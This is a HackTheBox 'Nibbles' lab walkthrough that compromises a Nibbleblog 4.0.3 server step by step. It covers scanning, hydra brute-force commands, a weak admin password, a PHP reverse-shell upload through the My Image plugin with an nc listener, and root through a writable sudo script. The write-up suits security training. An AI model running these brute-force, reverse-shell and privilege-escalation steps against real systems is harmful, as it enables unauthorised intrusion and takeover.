HTB 'Nibbles' Writeup
Nibbles HackTheBox Writeup
|Hostname||IP Address||Operating System||Difficulty Level|
Again, we’ll start with an nmap scan of the system:
root@kali:/writeups/HTB/nibbles/enumeration# nmap -sC -sV -p- -O -oA nibbles 10.10.10.75 Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-18 14:09 CST Nmap scan report for 10.10.10.75 Host is up (0.042s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA) | 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA) |_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site doesn't have a title (text/html). No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.80%E=4%D=1/18%OT=22%CT=1%CU=41262%PV=Y%DS=2%DC=I%G=Y%TM=5E23663 OS:9%P=x86_64-pc-linux-gnu)SEQ(SP=108%GCD=1%ISR=109%TI=Z%CI=I%II=I%TS=8)OPS OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1 OS:1NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN OS:(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N% OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD OS:=S) Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 53.23 seconds
OK, so looks like both SSH (on stardard port 22) and Apache (on starndard port 80) are open. As expected, it’s a Linux system, looks like Ubuntu. Since we don’t have creds for SSH obviously, http will be our first stop. I imagine after we find something in the apache site, or gain foothold with it somehow, we’ll either get an ssh key or credentials.
Let’s go ahead and check out what’s being served:
checking out http / dirb
Let’s begin with the obvious dirb scan to discover what pages might be served by apache.
root@kali:/writeups/HTB/nibbles/enumeration# dirb http://10.10.10.75 -o nibbles_dirb.txt ----------------- DIRB v2.22 By The Dark Raver ----------------- OUTPUT_FILE: nibbles_dirb.txt START_TIME: Sat Jan 18 14:22:26 2020 URL_BASE: http://10.10.10.75/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://10.10.10.75/ ---- + http://10.10.10.75/index.html (CODE:200|SIZE:93) + http://10.10.10.75/server-status (CODE:403|SIZE:299) ----------------- END_TIME: Sat Jan 18 14:25:49 2020 DOWNLOADED: 4612 - FOUND: 2
OK, seems like pretty minimal pages hosted. If we need to, we can run the large wordlist at it, but let’s continue on for now. Going to the URL in the browser, the main/index page we are directed to just appears to be a blank white page with text saying “Hello World!”. Let’s view the source and see if there’s anything:
<b>Hello world!</b> <!-- /nibbleblog/ directory. Nothing interesting here! -->
Nothing interesting, you say? Let’s check it out.
nibbleblog rightly wouldn’t have been picked up by a dirb wordlist, so this highlights the importance of always doing some manual recon as well as automated - tools won’t often catch everything.
Great, so it looks like a blog site is there. Looks pretty plain/sparse, but let’s poke around and see if we can leverage this to gain a foothold. Two potential methods come to mind immediately, but there are others, and what we can actually do depends on the setup of the site, obviously. Off the top of my head, I’m wondering if:
there’s either a capability to upload a file (which we could create to contain a reverse tcp payload via msfvenom)
Somewhere on the site there’s a hint to an SSH login
Let’s dig more into the site to see if either of these ideas have merit, or if we can find something else. Checking around the site from what’s visible, there doesn’t seem be any file upload capability apparent right away.
Let’s go ahead and run another dirb under the nibbleblog URI, just to see if anything may be present that’s not obvious or linked from the main blog page:
root@kali:/writeups/HTB/nibbles/enumeration# dirb http://10.10.10.75/nibbleblog /usr/share/wordlists/dirb/big.txt -o nibbles_blog_dirb.txt ----------------- DIRB v2.22 By The Dark Raver ----------------- OUTPUT_FILE: nibbles_blog_dirb.txt START_TIME: Sat Jan 18 15:25:16 2020 URL_BASE: http://10.10.10.75/nibbleblog/ WORDLIST_FILES: /usr/share/wordlists/dirb/big.txt ----------------- GENERATED WORDS: 20458 ---- Scanning URL: http://10.10.10.75/nibbleblog/ ---- + http://10.10.10.75/nibbleblog/README (CODE:200|SIZE:4628) ==> DIRECTORY: http://10.10.10.75/nibbleblog/admin/ ==> DIRECTORY: http://10.10.10.75/nibbleblog/content/ ==> DIRECTORY: http://10.10.10.75/nibbleblog/languages/ ==> DIRECTORY: http://10.10.10.75/nibbleblog/plugins/ ==> DIRECTORY: http://10.10.10.75/nibbleblog/themes/ ---- Entering directory: http://10.10.10.75/nibbleblog/admin/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://10.10.10.75/nibbleblog/content/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://10.10.10.75/nibbleblog/languages/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://10.10.10.75/nibbleblog/plugins/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://10.10.10.75/nibbleblog/themes/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ----------------- END_TIME: Sat Jan 18 15:40:26 2020 DOWNLOADED: 20458 - FOUND: 1
Interesting, so there’s some potentially good places to poke around including admin and plugins. Let’s start with admin.
Index of /nibbleblog/admin [ICO] Name Last modified Size Description [PARENTDIR] Parent Directory - [DIR] ajax/ 2017-12-10 23:27 - [DIR] boot/ 2017-12-10 23:27 - [DIR] controllers/ 2017-12-10 23:27 - [DIR] js/ 2017-12-10 23:27 - [DIR] kernel/ 2017-12-10 23:27 - [DIR] templates/ 2017-12-10 23:27 - [DIR] views/ 2017-12-10 23:27 - Apache/2.4.18 (Ubuntu) Server at 10.10.10.75 Port 80
OK, interesting. And on the /plugins URI we have:
Index of /nibbleblog/plugins [ICO] Name Last modified Size Description [PARENTDIR] Parent Directory - [DIR] about/ 2013-11-05 21:23 - [DIR] analytics/ 2013-11-05 21:23 - [DIR] categories/ 2013-11-04 15:42 - [DIR] hello/ 2013-11-04 20:03 - [DIR] html_code/ 2013-11-05 21:23 - [DIR] latest_posts/ 2014-01-20 14:17 - [DIR] maintenance_mode/ 2013-11-05 21:24 - [DIR] my_image/ 2013-11-05 21:24 - [DIR] open_graph/ 2014-02-25 14:10 - [DIR] pages/ 2014-01-23 21:53 - [DIR] quick_links/ 2013-11-01 14:23 - [DIR] slogan/ 2013-11-01 14:23 - [DIR] sponsors/ 2013-11-05 21:24 - [DIR] tag_cloud/ 2014-02-25 14:10 - [DIR] twitter_cards/ 2013-11-05 20:47 - Apache/2.4.18 (Ubuntu) Server at 10.10.10.75 Port 80
Looks like content supporting the site, and nothing seems like an obvious clue or breadcrumb, offhand.
Let’s take a step back to a simpler route (which I probably shold have done earlier.) We can come back to some of these script files later if we need to, it’s possible that they could be abused to gain access, and I don’t see an obvious file upload capability at the moment. However, seeing as this is an easy box, it’s likely a little more straighforward.
Attempt at Apache Exploitation
Recall that our inital nmap scan, as well as the page direcotry listings under /nibbleblog we just viewed above, seem to identify the webserver:
Apache httpd 2.4.18 ((Ubuntu)).
Let’s check searchsploit and see if there are any workable exploits for Apache 2.4.18:
Searching initially for
httpd 2.4.18 and
apache 2.4.18 yielded no results, but searching for
apache 2.4 gives a few results back. From the list, an applicable vulnerability appears to be 42745, at least based on the versions of apache stated as vulnerable by the exploit.
We can quickly reiew the source code:
root@kali:/writeups/HTB/nibbles/exploits# searchsploit -x exploits/linux/webapps/42745.py Exploit: Apache < 2.2.34 / < 2.4.27 - OPTIONS Memory Leak URL: https://www.exploit-db.com/exploits/42745 Path: /usr/share/exploitdb/exploits/linux/webapps/42745.py
This gives us 2 great pieces of information: this script is written in python3, and a CVE number: CVE-2017-9798. CVE information here. Based on reading the notes for the CVE, looks like the host is potentially vulnerable to this exploit, but not sure if it would provide a foothold or path to privesc. Let’s go ahead and see what happens.
Let’s download the exploit locally and check the options:
root@kali:/writeups/HTB/nibbles/exploits# searchsploit -m exploits/linux/webapps/42745.py Exploit: Apache < 2.2.34 / < 2.4.27 - OPTIONS Memory Leak URL: https://www.exploit-db.com/exploits/42745 Path: /usr/share/exploitdb/exploits/linux/webapps/42745.py File Type: Python script, UTF-8 Unicode text executable, with CRLF line terminators Copied to: /writeups/HTB/nibbles/exploits/42745.py root@kali:/writeups/HTB/nibbles/exploits# python3 42745.py usage: 42745.py [-h] [-n N] [-a] [-u] hosttocheck 42745.py: error: the following arguments are required: hosttocheck
Running the exploit, it looks like the host is probably not vulnerable. Below is the results against the URI, then the explanation of the return values from the script:
root@kali:/writeups/HTB/nibbles/exploits# python3 42745.py -a -u http://10.10.10.75 [ok] http://10.10.10.75: 'GET,HEAD,POST,OPTIONS' "Explanation of results:\n" "[bleed] corrupted header found, vulnerable\n" "[empty] empty allow header, does not make sense\n" "[spaces] space-separated method list (should be comma-separated)\n" "[duplicates] duplicates in list (may be apache bug 61207)\n" "[ok] normal list found (only shown with -a/--all)\n",
OK, let’s move on and try something else
Second Exploitation Attempt on http
After a quick search, I discovered that NibbleBlog was actually an app/platform, not just the name of this particular blog. (Perhaps I could have found that out earlier by looking at some of the data we pulled during recon.) Great, armed with this knowledge we might be able to actually make some forward progress. It appears that nibbleblog has an admin.php page, based some very cursory reading (such as here) on how the platform is setup. It appears to be located at
http://10.10.10.75/nibbleblog/admin.php>. At this point I realized potentially a smarter move would have been to tell dirb to search also with common extensions (such as .php) in the initial scan, but hindisght is 20/20.
Going to the admin.php page yields an authentication prompt. Let’s see if we can dig up some default credentials for nibbleblog, or, if we need to, we can try to use hydra. Doing a quick search for nibbleblog default creds doesn’t seem to turn up anything obvious, seems you set a custom username and password upon install.
Trying to use hydra to gain access to admin console
Hydra it is, then. Doing a quick test using the FireFox developer tools “Inspect Element” option should tell us what kind of HTTP verb/request the login page uses. I’ll type in some credentials (doesn’t matter if they’re correct), and go the network tab on FireFox’s Inspect Element browser on the bottom. Upon hitting submit on the admin authentication window, I notice when the page takes the auth requests, a POST request shows for the admin.php resource. Great, so authentication requests are sent via HTTP POST. (See image below.) We’ll need to know this to pass to Hydra.
The other thing we need to know is what the login field names are on the page. It’s a fair guess that ‘Username’ and ‘Password’ would be it, but what is a textbox label or placeholder text is not always the name of the object (in this case the two textboxes.) If we provided the incorrect values, Hydra would not work properly, so we need to be sure. Once again, we should be able to use FireFox’s Inspect Element tool. Clicking on the POST request we saw earlier will bring up a new column on the right. If we go to the ‘Parameters’ tab, we can see the values for ‘Form Data,’ which is what we want. On that tab, we can see both the field names and the values we provided to them. (See below image.) Sure enough, they’re ‘username’ and ‘password.’ OK, at least now we’re sure. As a quick note, we could also find the same information using Burp Suite, either would have worked.
OK, so let’s build our hydra command. We’re essentially telling hyra a few things: the page/URI to attack, the names of the fields to put values in, the type of HTTP request that the login page relies on, and a piece of text that will either be indicative of a correct or incorrect response (so it knows to keep trying permutations, or to stop). Luckily we got that last part from the page itself when attempting the creds
admin/admin - “Incorrect username or password” should work just fine. There’s a lot of great info on the hydra manual page (
man hydra), and I would highly recommend looking through it; the hydra syntax can be awkward and a bit different at times.
Essentially the hydra syntax needs to look something like this:
hydra -s 80 -V -L <username_list> -P <password_list> 10.10.10.75 -o /writeups/HTB/nibbles/enumeration/hydra_nibble_admin.txt http-post-form "/:username=^USER^&password=^PASS^&:Incorrect username or password."
This is telling hydra to connect on port 80 to the IP given, try the usernames and passwords specified in the lists given, write the output to the file specified, and use verbose mode. As mentioned just earlier, we are telling hydra that the login form uses the HTTP POST method to pass information, the field names, and what an indicator of an incorrect login is (so it knows to go to the next try.)
As far as the usernames and passwords go, I’m going to give the following a shot: the unix_users.txt wordlist for users, and you could use rockyou.txt for the password list. Both can be found within
/usr/share/wordlists under kali. rockyou.txt ships as a compressed .gz file, so should be extracted with
gunzip rockyou.txt.gz if you want to use it.
Note that this may take awhile due to the size of the wordlists. This being an easy HTB, I doubt they’d want you spending hours upon hours trying to brute force a login. Because of this, I’m going to arrange what I think are more likely username candidates first (move admin type usernames to the top of the list, and move some of the more obscure ones lower) in case hydra works from the top down on the lists it’s given. I’m also going to add variations of “nibbles” to the username list, just in case.
Instead of starting out with rockyou.txt like iniitally mentioned, i’m going to pick a smaller password list to start, just so it doesn’t take forever. If that doesn’t work, i’ll pick up rockyou.txt. I’ll use the
http_default_pass.txt wordlist that exists in kali and add a few things to it to try first. I’ll scrape the words off the main nibbleblog page to add some additional potential passwords to the
Ultimately, it’s up to you how you want to configure your own hydra sesion though.
So to setup the wordlist like I plan to, we can run the following:
root@kali:/usr/share/wordlists/metasploit# cp http_default_pass.txt /usr/share/wordlistsx`/blog_adminpage_passwords.txt root@kali:/usr/share/wordlists/metasploit# cd .. && wget http://10.10.10.75/nibbleblog/ --2020-01-18 22:34:37-- http://10.10.10.75/nibbleblog/ Connecting to 10.10.10.75:80... connected. HTTP request sent, awaiting response... 200 OK Length: 2987 (2.9K) [text/html] Saving to: ‘index.html’ index.html 100%[=======================>] 2.92K --.-KB/s in 0s 2020-01-18 22:34:37 (140 MB/s) - ‘index.html’ saved [2987/2987] root@kali:/usr/share/wordlists# cat index.html | tr -s ' ' '\n' > nibbleblog_words.txt root@kali:/usr/share/wordlists# rm index.html root@kali:/usr/share/wordlists# cat nibbleblog_words.txt >> blog_adminpage_passwords.txt vim blog_adminpage_password.txt #for some cleanup
Admittedly, this method requires a fair bit of cleanup, and i’m sure there are some scripts to do a similar technique more elegantly.
However, after some cleanup, and making sure variants of nibble, blog, post, admin, and root exist in the list (seems like potentially likely candidates), we get something like this:
root@kali:/usr/share/wordlists# cat blog_adminpage_passwords.txt admin password manager letmein cisco default root apc pass security user system sys none turnkey vagrant Nibbles nibble nibbles Yum yum generator content Nibbleblog link canonical nibbleblog rainbow script shortcut icon PLUGINS section sidebar class posts footer blog span feed class top Powered by body animate click scroll Top false footer administrator NIBBLES plugin plugins
So we end up running:
root@kali:/writeups/HTB/nibbles# hydra -s 80 -V -L /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/blog_adminpage_passwords.txt 10.10.10.75 -o /writeups/HTB/nibbles/enumeration/hydra_nibble_admin.txt http-post-form "/:username=^USER^&password=^PASS^&:Incorrect username or password."
a few roadblocks
This actually fails in an interesting way, returning:
1 of 1 target successfully completed, 1861 valid passwords found
So hydra failed to see the failure text we provided ealier, as it’s seeing every attempt as a successful login.
Some quick searching (reference here) on the net revealed that some who have run into this problem had to include a PHP session ID cookie as well, so let’s go ahead and try that. This can be found in the manner we found the POST request earlier, under Inspect Element in FireFox, only this time, under the “Storage” tab. This reveals my PHP session ID to be:
Let’s go ahead and pass this to hydra:
hydra -s 80 -V -L /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/blog_adminpage_passwords.txt 10.10.10.75 -o /writeups/HTB/nibbles/enumeration/hydra_nibble_admin.txt http-post-form "/:username=^USER^&password=^PASS^&:Incorrect username or password.:PHPSESSID=il5uftu6ic07h6r3i8h87dn6c6"
However, again, we hit a snag. It seems that there is either some rate limiting, or a blacklist module installed on the site. Our hydra session seems to time out. Again, some quick searching, and reviewing the files we found from the site in our initial recon seems to confirm that there is indeed a capability for some login attampt blacklisting. That’s good, from a configuration/defence perspective. Not so great for us, though.
It’s likely possible that we can rate-limit hydra into guessing slower, but it’s hard to say with limited visiblity how the login blacklist function works. Let’s try to manually guess a few on the webpage and see if we have any luck.
Great, so we’re not completely locked out; after a couple of manual attempts, it appears that
username: admin / password: nibbles worked. So it’s great they implemented some login blacklisting feature, but still, not the most secure credentials.
Well, at least that’s progress, let’s press on.
finally, a foothold
After login in to the admin page, it seems we’re directed to the URI
http://10.10.10.75/nibbleblog/admin.php?controller=dashboard&action=view. Let’s take a quick look around.
It seems we could make a post from the admin page (with the URI
Can we leverage this to include some potentially malicious php file, or some kind of a reverse shell, like we discussed initially? A quick search reveals probably so, or a similar method
root@kali:/writeups/HTB/nibbles/exploits# searchsploit nibbleblog -------------------------------------------- ---------------------------------------- Exploit Title | Path | (/usr/share/exploitdb/) -------------------------------------------- ---------------------------------------- Nibbleblog 3 - Multiple SQL Injections | exploits/php/webapps/35865.txt Nibbleblog 4.0.3 - Arbitrary File Upload (M | exploits/php/remote/38489.rb -------------------------------------------- ---------------------------------------- Shellcodes: No Result
A quick check of the main admin page reveals that the Nibbleblog version number at the bottom of the page:
Version Nibbleblog 4.0.3 "Coffee"
OK, so the arbitrary file upload vulnerability might work. Let’s check it out. Looks like it’s a ruby file made for metasploit. Well, we’re trying not to use metasploit. Searching the code gives a good reference URL for the exploit (the link in the exploit seems to 404 - here’s the correct one)
It appears that with admin creds, we can activate the “My Image” plugin, and upload a PHP shell from there. Let’s give it a whirl.
Per the PoC, we can activate the plugin with the following URI:
Well, lucky us, look like’s it already installed. Let’s proceed:
We can generate a php reverse shell with msfvenom. The PoC seems to call it image.php, so let’s go with that. Having used php shells created by msfvenom, they’re not always the most stable - let’s use an excellent one by PentestMonkey which can be found here. Just paste that into a file in our exploits folder called impage.php, and change the local iP to our VPN IP, and the port, if you want. Here I’ll use 43110.
Great, now that the payload is created, first, let’s start our local listener, then let’s upload the php file.
Start the listener on kali with
nc -lnvp 43110.
Once we upload the file from the admin dashboard, as the PoC website mentioned, there are a few errors, these should be able to be ignored.
gaining a user shell
Now let’s browse to
http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php and hope we catch a shell.
As is common with webshells, the target webserve will just appear to be perpetually loading a page; if we check back on our listener terminal,we get a callback:
root@kali:/writeups/HTB/nibbles/exploits# nc -lnvp 43110 listening on [any] 43110 ... connect to [10.10.14.50] from (UNKNOWN) [10.10.10.75] 56160 Linux Nibbles 4.4.0-104-generic #127-Ubuntu SMP Mon Dec 11 12:16:42 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux 04:00:58 up 33 min, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler) /bin/sh: 0: can't access tty; job control turned off $
Finally, we have a foothold! Let’s do some initial poking around, like we have on prior boxes. First we’ll check the user we’re running as, then if python is available, upgrade our shell:
$ whoami nibbler $ which python $ which python3 /usr/bin/python3 $
OK, let’s go ahead adn try to upgrade our shell with
/usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")'
Awesome, that worked.
$ /usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")' nibbler@Nibbles:/$
Get’s go ahead and see if we can grab the flag:
nibbler@Nibbles:/$ pwd pwd / nibbler@Nibbles:/$ cd /home/nibbler cd /home/nibbler nibbler@Nibbles:/home/nibbler$ ls -ltr ls -ltr total 12 drwxr-xr-x 3 nibbler nibbler 4096 Dec 10 2017 personal -r-------- 1 nibbler nibbler 1855 Dec 10 2017 personal.zip -r-------- 1 nibbler nibbler 33 Dec 10 2017 user.txt nibbler@Nibbles:/home/nibbler$ cat user.txt <get your own flag ;)>
enumeration for Privilege Ecsalation
One of the first (and best) things to check for privilege escalation reveals something interesting:
sudo -l Matching Defaults entries for nibbler on Nibbles: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User nibbler may run the following commands on Nibbles: (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
Interesting. If you noticed, there was a ‘personal.zip’ file in nibbler’s home directory. Let’s see if we can extract it:
nibbler@Nibbles:/home/nibbler$ which unzip /usr/bin/unzip nibbler@Nibbles:/home/nibbler$ unzip personal.zip Archive: personal.zip creating: personal/ creating: personal/stuff/ inflating: personal/stuff/monitor.sh nibbler@Nibbles:/home/nibbler$ cd personal nibbler@Nibbles:/home/nibbler$ ls stuff nibbler@Nibbles:/home/nibbler$ cd stuff nibbler@Nibbles:/home/nibbler$ ls monitor.sh
abusing permissions to gain root shell
OK, now let’s see if we can check out the monitor.sh script. We’ll probably need to edit this and run it as root to get our root shell.
I’m not going to paste the contents due to length, but it looks innocuous enough. But if we can edit this, we can also have it spawn a reverse tcp shell. Since it’d be running as root via sudo, the new shell spawned should be root.
Let’s confirm we can edit the shell script:
nibbler@Nibbles:/home/nibbler$ ls -ltr total 4 -rwxrwxrwx 1 nibbler nibbler 4015 May 8 2015 monitor.sh
Awesome, looks like we can.
Let’s go ahead and remove anything we don’t need from usage.sh, and just have it run bash. So, after edits, monitor.sh should look simply like this:
#!/bin/bash bash -i
Looks like it already has execute permissions, so let’s try running the script with
After a moment, it looks like our shell is upgraded; we got root!
$ sudo ./monitor.sh sudo: unable to resolve host Nibbles: Connection timed out bash: cannot set terminal process group (1329): Inappropriate ioctl for device bash: no job control in this shell root@Nibbles:/home/nibbler/personal/stuff#
From here you can grab the root flag in
/root/root.txt. All done.
Thanks for hanging in there, that’s all for this one. Until next time,
Let me know what you think of this article on twitter @initinfosec or leave a comment below!